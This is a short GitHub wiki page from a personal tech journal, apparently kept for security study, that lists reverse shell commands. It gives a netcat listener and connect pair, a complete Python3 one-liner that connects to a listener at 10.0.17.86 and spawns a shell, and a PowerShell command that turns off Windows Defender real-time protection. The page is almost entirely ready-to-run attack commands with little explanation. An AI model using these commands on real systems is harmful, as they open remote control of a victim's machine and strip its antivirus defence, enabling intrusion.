Reverse Shells - tmansfield42/Tech-Journal GitHub Wiki

Some basic reverse shells here. You can find a lot of these online with a simple search.

Netcat

nc -lvp 9825 (set listener up on 10.0.17.86)

nc 10.0.17.86 9825 (on the box you want to attack, run this)

Python3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.17.86",9825));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Creates a reverse shell using python

Disabling Windows Defender with powershell

Set-MpPreference -DisableRealtimeMonitoring $true